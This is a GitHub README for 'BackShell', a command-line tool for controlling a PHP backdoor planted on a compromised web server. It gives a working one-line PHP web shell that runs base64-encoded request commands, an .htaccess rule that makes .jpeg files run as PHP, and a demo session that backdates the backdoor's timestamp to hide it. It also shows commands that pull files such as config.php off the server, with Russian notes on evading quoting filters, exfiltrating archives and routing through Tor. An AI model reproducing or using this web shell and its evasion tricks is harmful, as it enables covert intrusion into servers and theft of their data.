Skip to content

s3rgeym/backshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

BackShell by s3rgeym

Downloads Downloads Downloads

Command-line tool for backdoor exploitation.

$ pip install backshell

$ backshell 'https://vuln.com/path/to/backdoor.php'
 ____             _     ____  _          _ _
| __ )  __ _  ___| | __/ ___|| |__   ___| | |
|  _ \ / _` |/ __| |/ /\___ \| '_ \ / _ \ | |
| |_) | (_| | (__|   <  ___) | | | |  __/ | |
|____/ \__,_|\___|_|\_\|____/|_| |_|\___|_|_|
v0.1.1 by s3rgeym

Type 'help' for more information.
backshell> touch -a -m -t 201705030100.12 backdoor.php

backshell> ls -lah
total 36K
drwxr-xr-x  5 <vanished> <vanished> 4.0K Aug  4 00:26 .
drwxr-xr-x 18 <vanished> <vanished> 4.0K Jan 17  2018 ..
-rw-r--r--  1 <vanished> <vanished>  533 May  3  2017 .jshintrc
-rw-r--r--  1 <vanished> <vanished> 2.7K May  3  2017 Gruntfile.js
-rw-r--r--  1 <vanished> <vanished>   47 May  3  2017 backdoor.php
drwxr-xr-x  4 <vanished> <vanished> 4.0K May  3  2017 images
drwxr-xr-x  4 <vanished> <vanished> 4.0K May  3  2017 js
-rw-r--r--  1 <vanished> <vanished>  466 May  3  2017 package.json
drwxr-xr-x  2 <vanished> <vanished> 4.0K May  3  2017 resource

backshell> ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
<vanished>  786766  0.1  0.0 382984 24116 ?        Ss   00:45   0:00 lsphp
<vanished>  787446  0.0  0.0 383416 10240 ?        Ss   00:46   0:00 <vanished>
<vanished>  787447  0.0  0.0   9776  1140 ?        S    00:46   0:00 sh -c ps -aux 2>&1
<vanished>  787448  0.0  0.0  49836  1652 ?        R    00:46   0:00 ps -aux

backshell> exit

Backdoor example:

<?php @passthru(base64_decode($_REQUEST['c']));

Base64 нужен для обхода magic_quotes_gpc = On, который до сих пор много где включен, а так же для работы с бинарными данными в Node.js и т.п.

Такой простой бекдор, конечно, быстро спалят.

.htaccess:

AddType application/x-httpd-php .jpeg

Теперь файлы с расширением .jpeg будут выполняться как php.

Examples

# Help
backshell> help

# Download file from server
backshell> download config.php
Saved as XXXX.config.php

# Upload file to server
backshell> upload script.php

# Edit file on server
backshell> edit index.php

Ограничения

Так как каждый раз запускается новая сессия шелл, то такие команды как cd работают не так как ожидается:

backshell> cd /tmp; echo $PWD
/tmp

backshell> pwd
/path/to/backdoor

Решения:

  • При запуске backshell указывать аргумент --cwd;
  • Использовать команду шелла cwd.

Так же не будут работать интерактивные команды типа less и др.

Ограничение на длинну команды:

$ getconf ARG_MAX
2097152

Чтобы скачать файл большого размера либо каталог, упакуйте его с помощью tar, переместите его в ассеты и выкачайте архив curl/wget.

Вызов команды edit при работе через torify приводит к ошибке:

1596550567 WARNING torsocks[373221]: [syscall] Unsupported syscall number 217. Denying the call (in tsocks_syscall() at syscall.c:567)

Это баг torsocks и хз когда его исправят.